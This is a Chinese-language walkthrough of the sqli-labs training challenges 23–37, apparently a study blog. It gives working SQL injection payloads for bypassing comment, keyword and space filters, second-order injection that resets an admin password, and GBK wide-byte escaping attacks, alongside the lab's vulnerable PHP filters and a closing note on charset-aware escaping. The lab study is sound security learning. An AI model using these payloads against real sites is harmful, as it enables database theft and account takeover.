一. 过滤
23. GET-strip comments
刷到这一题先说一个判断闭合的方法:
?id=1
?id=1'
?id=1''
?id=1"
?id=1""
?id=1')
?id=1') || ('1
判断有无注入:
?id=1 and 1==1 -- x
?id=1 and 1==2 -- x
?id=1' and 1==1 -- x
?id=1' and 1==2 -- x
后两个带引号的报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '==1 x' LIMIT 0,1' at line 1
发现注释符号--
被过滤掉了。换成井号注释?id=1' and 1==1#
也一样。
先猜测下sql语句:
$sql = "select * from users where id='$id'"
这种情况就不能用注释了,想办法闭合后面的单引号:
$sql = "select * from users where id=' 1' and '1'='1 '"
payload: ?id=1' and '1'='1
这样就不报语法错误了。
下面构造union,判断列数并占位(不能用order by了):
?id=1' union select 1,2,3 and '1'='1
?id=1' union select 1,2,3,4 and '1'='1 -- 报错,所以是3列
?id=1' union select 1,2,3,4 limit 1,1 and '1'='1 -- 语法错误,,
emmm, 这时发现union不能这样构造,网上查了下应该用00截断的方法:
?id=1' union select 1,2,3 limit 1,1;%00
-- Your Login name:2
-- Your Password:3
用updatexml构造:
-- 库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
-- XPATH syntax error: '~security~'
-- 表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x7e),1) and '1'='1
-- XPATH syntax error: '~emails~'
-- 列名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),0x7e),1) and '1'='1
-- XPATH syntax error: '~email_id~'
-- 数据
?id=1' and updatexml(1,concat(0x7e,(select email_id from emails limit 0,1),0x7e),1) and '1'='1
-- XPATH syntax error: '~Dumb@dhakkan.com~'
25. GET-strip and/or
?id=1 and 1=1 -- x
?id=1 and 1=2 -- x
?id=1' and 1=1 -- x
?id=1' and 1=2 -- x
后两句报错(页面标题其实也提示了是单引号闭合):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=2 -- x' LIMIT 0,1' at line 1
提交?id=1' aaaaaa 1=2 -- x
的话,报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaaaa 1=2 -- x' LIMIT 0,1' at line 1
也就是说and被过滤了,那么可以将逻辑运算符替换一下:
-
or --> ||
-
and --> &&
?id=1' && 1=1 -- x
?id=1' && 1=2 -- x
然后还是报错。原因是,&在url里被认为是参数的分隔符(当然换成||就不会报错了),所以需要url编码一下:
?id=1' %26%26 1=1 -- x
?id=1' %26%26 1=2 -- x
另一种绕过方法是在字符串上做手脚:
?id=1' anandd 1=1 -- x
?id=1' anandd 1=2 -- x
?id=1' aNd 1=1 -- x
经过测试,后台的过滤应该是忽略大小写了。
后面order等关键词也一样:
- order–>oorrder
- information–>infoorrmation
payload如下:
-- 列数
?id=1' oorrder by 4 -- x
-- 占位
?id=1' union select 1,2,3 limit 1,1 -- x
-- Your Login name:2
-- Your Password:3
-- 库名
?id=1' union select 1,(select database()),3 limit 1,1 -- x
-- Your Login name:security
-- 表名
-- information-->infoorrmation
?id=1' union select 1,(select table_name from infoorrmation_schema.tables where table_schema=0x7365637572697479 limit 0,1),3 limit 1,1 -- x
-- Your Login name:emails
看下源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
if(isset($_GET['id']))
{
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// ...
}
25a. Blind 25
25题闭合去掉单引号即可。
这个题本想考盲注来着,,,
26. GET-strip Spaces and Comments
先判断出闭合是单引号:
?id=1'
?id=1''
判断注入:
?id=1' and 1=1 -- x
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1x' LIMIT 0,1' at line 1
Hint: Your Input is Filtered with following result: 1'1=1x
and、空格、注释都被过滤了。
先处理一下and和注释的问题:
?id=1' aandnd '1'='1
-- Hint: Your Input is Filtered with following result: 1'and'1'='1
至于空格,理论上可以用其它空白符(的url编码)或括号绕过:
?id=1'%09aandnd%09'1'='1 -- 水平tab
?id=1'%0aaandnd%0a'1'='1 -- \n
?id=1'%0caandnd%0c'1'='1 -- 换页
?id=1'%0daandnd%0d'1'='1 -- 回车
?id=1'%0baandnd%0b'1'='1 -- 垂直tab
?id=1'%a0aandnd%a0'1'='1 -- 空格
?id=1'()aandnd()'1'='1 -- 括号
?id=1'/**/aandnd/**/'1'='1
但试了下,只有括号不会报语法错误(好像和编码有关),所以最后把and换成了%26%26
和23题一样,不能用union语句,所以还是用updatexml构造payload:
?id=1'%26%26updatexml(1,concat(0x7e,(database()),0x7e),1)%26%26'1'='1
-- XPATH syntax error: '~security~'
没错,select可以去掉~
用&&,||,以及括号的话,就不得不搭配group_concat,返回结果可能被截断:
?id=1' %26%26 updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479)),0x7e),1) %26%26 '1'='1
-- XPATH syntax error: '~emails,referers,uagents,users~'
逐一爆破表名、列名的payload没构造出来,,备忘,,
看下源码:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
对比27题源码,$id= preg_replace('/[\s]/',"", $id);
这个空格过滤还是很严格的。
26a. Blind 26!!!
判断闭合:
?id=1' -- 报错 应提供bool类型:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpstudy_pro\WWW\sqli-labs\Less-26a\index.php on line 36
?id=1'' -- 无回显 说明有单引号
?id=1') -- 报错 应提供bool类型
?id=1') || (' -- 无回显
这里脑袋瓜得绕一下,判断出是括号加单引号闭合,,并且没有错误回显(mysql_fetch_array的报错并不是print_r(mysql_error())
输出的),不能用updatexml了。
构造payload:
?id=1')aandnd(length(database())=8)anandd('1
-- 没有报错 回显username/password
-- 爆破库名
?id=1')aandnd(ascii(substr(lower(database()),1,1))=115)anandd('1
//...
-- 爆破表名
?id=1')aandnd(ascii(substr(lower((select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0limit%a00,1)),1,1))=101)anandd('1
?id=1000000')oorr(ascii(substr(lower((select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0limit%a00,1)),1,1))=101)anandd('1
表名payload没爆破出来,主要是空格过滤没绕过去,,先备忘,,
源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//...
}
else
{
//print_r(mysql_error());
}
27. GET-strip UNION/SELECT
判断闭合:
?id=1'
?id=1'' --没报错
?id=1')||(' --报错
应该是单引号闭合。
后面也不管有没有过滤注释了,直接闭合单引号,发现空格也被过滤了:
?id=1' and '1'='1
-- 回显username/password
-- Hint: Your Input is Filtered with following result: 1'and'1'='1
?id=1' and %0a%0a%0a%0a '1'='1
-- Hint: Your Input is Filtered with following result: 1'and '1'='1
但是这一题通过url编码就可以绕过空格过滤了。
继续构造union语句:
?id=1' %0a union %0a select %0a 1,2,3 %0a and '1'='1
-- Hint: Your Input is Filtered with following result: 1' 1,2,3 and'1'='1
union和select都被过滤了,改下大小写(编码不能绕过):
?id=1' %0a uNion %0a selEct %0a 1,2,3 %0a and '1'='1
-- 成功
?id=1' %0a %75%6E%69%6F%6E %0a %73%65%6C%65%63%74 %0a 1,2,3 %0a and '1'='1
-- 失败
开始构造查询payload:
-- 库名
?id=100000' %0a uNion %0a selEct %0a 1,database(),3 %0a and %0a '1'='1
-- Your Login name:security
-- 表名
-- 参考网上的,用了00截断sql语句
?id=100000' %0a ununionion %0a seselectlect %0a 1,group_concat(table_name),3 %0a from %0a (information_schema.tables) %0a where %0a (table_schema=0x7365637572697479);%00
-- 失败 看源码才知道,select被多次过滤 所以实战建议 大小写及插入 两种方法都用上
?id=100000' %0a ununionion %0a selEct %0a 1,group_concat(table_name),3 %0a from %0a (information_schema.tables) %0a where %0a (table_schema=0x7365637572697479);%00
-- Your Login name:emails,referers,uagents,users
?id=100000' %0a ununionion %0a sELect %0a 1,table_name,3 %0a from %0a (information_schema.tables) %0a where %0a (table_schema=0x7365637572697479)limit %0a 0,1;%00
-- Your Login name:emails
-- 列名
?id=100000' %0a ununionion %0a sELect %0a 1,column_name,3 %0a from %0a (information_schema.columns) %0a where %0a (table_schema='security' %0a and %0a table_name='emails')limit %0a 1,1;%00
-- Your Login name:email_id
-- 数据
?id=100000' %0a ununionion %0a sELect %0a 1,email_id,3 %0a from %0a (emails) %0a limit %0a 1,1;%00
-- Your Login name:Angel@iloveu.com
黑名单源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
相比26题,27题的空格过滤要更容易绕过。
27a. Blind 27
判断闭合,应该是双引号:
?id=1'
?id=1''
?id=1" -- 报错 mysql_fetch_array
?id=1")||(" -- 报错 mysql_fetch_array
看源码本题和25,25a一样,把print_r(mysql_error())
注释了,但因为27题并没有用到updatexml,所以只要把闭合换成双引号就行了。
?id=100000" %0a uNion %0a selEct %0a 1,database(),3 %0a and %0a "1"="1
-- Your Login name:security
28. GET-strip UNION/SELECT-single quote with parenthesis
这个题相比26a盲注,做得比较顺利~
判断下闭合,
?id=1'
-- 报错
?id=1')||(' --
-- 回显username/password
?id=1') and ('1'='1
-- 回显username/password 说明没有过滤and
和26a一样是单引号+括号。
开始爆破:
-- 库名长度
?id=1')and(length(database())=7);%00
-- 无回显
?id=1')and(length(database())=8);%00
-- 回显username/password
-- 库名
?id=1')and(ascii(substr(lower(database()),1,1))=115);%00
-- ...
-- 表名
?id=1')and(ascii(substr(lower((select %0a table_name %0a from %0a information_schema.tables %0a where %0a table_schema=database() %0a limit %0a 0,1)),1,1))=101);%00
-- ...
-- 列名
?id=1')and(ascii(substr(lower((select %0a column_name %0a from %0a information_schema.columns %0a where %0a table_name='emails' %0a limit %0a 0,1)),1,1))=105);%00
-- ...
源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
28a.
比28还简单,,只过滤了union和select。
二. Second Order Injection
二次注入:攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
24. POST- Stored Injection
这一题的交互点如下:
- username/password/Login
- 忘记密码
- 新用户注册
注册一个新用户,用户名输入:
admin'-- x
密码随意,提交注册,登录后可以修改密码。
修改密码为aaa
后登出,然后就可以登录admin/aaa
。
看下修改密码的源码:
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
}
//...
注册用户的源码:
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
mysql_real_escape_string函数转义 SQL 语句中使用的字符串中的特殊字符,下列字符受影响:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
没有注释符,所以新注册的用户名就是admin'-- x
,而更改密码的语句就变成了:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'-- x' and password='$curr_pass' ";
所以admin用户的密码就被修改了。
三. waf
29-31题,单独记录。
四. AddSlashes
先讲一下宽字节注入的原理。
在MYSQL中,还有一个中间层的结构,负责客户端和服务器之间的连接,所以称为连接层。
客户端发送至服务器端的SQL语句,其字符集是PHP文件默认的编码。
服务器会将这个SQL语句转为连接层的字符集。这里用到两个变量,
- character_set_client, 客户端的字符集;
- character_set_connection, 连接层的字符集。
可以使用show variables like 'character_set_%' ;
进行查看。这两个如果不一样, 就会导致乱码.
PHP中写的set names gbk相当于下面三条同时执行:
- set character_set_client = gbk
- set character_set_connection = gbk, 连接层编码
- set character_set_results = gbk, 返回客户端的编码。
有些网站为了解决乱码问题,就会引入宽字节注入问题。
32. GET-Custom Adding Slashes
判断闭合:
?id=1'
返回提示:
Hint: The Query String you input is escaped as : 1\'
也就是说单引号被加了斜杠转义了。这种情况要考虑宽字节注入。
payload:
?id=1%df'
-- 报错
继续构造:
?id=1%df' and 1=1 -- x
-- 回显username/password
下面就可以按套路走了:
-- 列数
?id=1%df' order by 3 -- x
?id=1%df' order by 4 -- x
-- 占位
?id=100000%df' union select 1,2,3 -- x
?id=1%df' union select 1,2,3 limit 1,1 -- x
-- Your Login name:2
-- Your Password:3
-- 库名
?id=100%df' union select 1, database(), 3 -- x
-- Your Login name:security
-- 表名
-- 这里库名字符串就不能用引号了,可以用database(),或十六进制编码
?id=100%df' union select 1, table_name, 3 from information_schema.tables where table_schema=database() -- x
?id=100%df' union select 1, table_name, 3 from information_schema.tables where table_schema=0x7365637572697479 -- x
-- Your Login name:emails
-- 列名
?id=100%df' union select 1, column_name, 3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656D61696C73 limit 1,1 -- x
-- Your Login name:email_id
-- 获取数据
?id=100%df' union select 1, email_id, 3 from emails limit 1,1-- x
-- Your Login name:Angel@iloveu.com
源码:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
//...
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//...
33. GET-AddSlashes()
和32的payload一样,区别在于用了php原生转义函数:
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
它会给 单引号('
)、双引号("
)、反斜线(\
)与 NUL(null
)加斜杠。
34. POST-AddSlashes()
提交个万能用户名:
' or '1'='1
返回提示:
Hint: The Username you input is escaped as : \' or \'1\'=\'1
引号被转义了,再次使用宽字节注入。
提交username:
1' or 1=1 -- x
抓包查看:
uname=1%27+or+1%3D1+--+x&passwd=&submit=Submit
可以把它手动改一下后重发:
uname=%df%27+or+1%3D1+--+x&passwd=&submit=Submit
这时可以看到登录成功。
然后继续构造payload:
-- 字段数
uname=%df%27+order+by+2+--+x&passwd=&submit=Submit
-- 占位
uname=%df%27union+select+1%2C2+--+x&passwd=&submit=Submit
-- Your Login name:1<br>Your Password:2
-- 库名
uname=%df%27union+select+1%2Cdatabase()+--+x&passwd=&submit=Submit
-- Your Password:security
-- 表名
uname=%df%27union+select+1%2C(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0%2C1)+--+x&passwd=&submit=Submit
-- Your Password:emails
-- 列名
uname=%df%27union+select+1%2C(select+column_name+from+information_schema.columns+where+table_schema=database()+and+table_name=0x656D61696C73+limit+1%2C1)+--+x&passwd=&submit=Submit
-- Your Password:email_id
-- 获取数据
uname=%df%27union+select+1%2C(select+email_id+from+emails+limit+0%2C1)+--+x&passwd=&submit=Submit
-- Your Password:Dumb@dhakkan.com
另一种方法是使用3个字节的汉字,比如“汉”:
汉' or 1=1 -- x
也可以登录成功。比上面反复抓包修改要方便些。
抓包看下:
uname=%E6%B1%89%27+or+1%3D1+--+x&passwd=&submit=Submit
也就是说89和斜杠成功组合。
继续构造:
-- 字段数
汉' order by 2 -- x
-- 占位
汉'union select 1, 2 -- x
-- Your Login name:1<br>Your Password:2
-- 库名
汉'union select 1, database() -- x
-- Your Password:security
-- 表名
汉'union select 1, (select table_name from information_schema.tables where table_schema=database() limit 0, 1) -- x
-- Your Password:emails
-- 列名
汉'union select 1, (select column_name from information_schema.columns where table_schema=database() and table_name=0x656D61696C73 limit 1, 1) -- x
-- Your Password:email_id
-- 获取数据
汉'union select 1, (select email_id from emails limit 0, 1) -- x
-- Your Password:Dumb@dhakkan.com
看下源码:
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
// ...
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
//...
// connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if($row)
{
//echo " You Have successfully logged in\n\n " ;
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
//...
35. GET-Integer!!!
这个题提醒我们,要养成按步骤来的好习惯,但又不能被惯性思维给骗了~
先判断闭合:
?id=1'
?id=1''
?id=1"
?id=1""
回显全都给引号加了斜杠。但其实这个题在第1题的基础上,去掉引号闭合,字符串改为十六进制就可以了。
源码:
$id=check_addslashes($_GET['id']);
//...
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
//...
也就是说,有些数据是可以判断数据类型的,现实中id这种的肯定是整型,没必要加引号,后端一般也应该是判断id是否为正常数字。
36. GET-mysql_real_escape_string
payload和32题一样。
源码:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//...
}
mysql_real_escape_string函数 php官网文档:
mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.
37. POST-mysql_real_escape_string
payload和第34题一样。
但是这个题是可以增加难度的,对于宽字节编码的防御方法有两点:
-
使用mysql_set_charset(GBK)指定字符集
-
使用mysql_real_escape_string进行转义,相比addslashes,它会考虑mysql_set_charset设置的字符集
改下代码:
mysql_set_charset('gbk',$con);
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;
// connectivity
//mysql_query("SET NAMES gbk");
现在,34题的payload就失效了。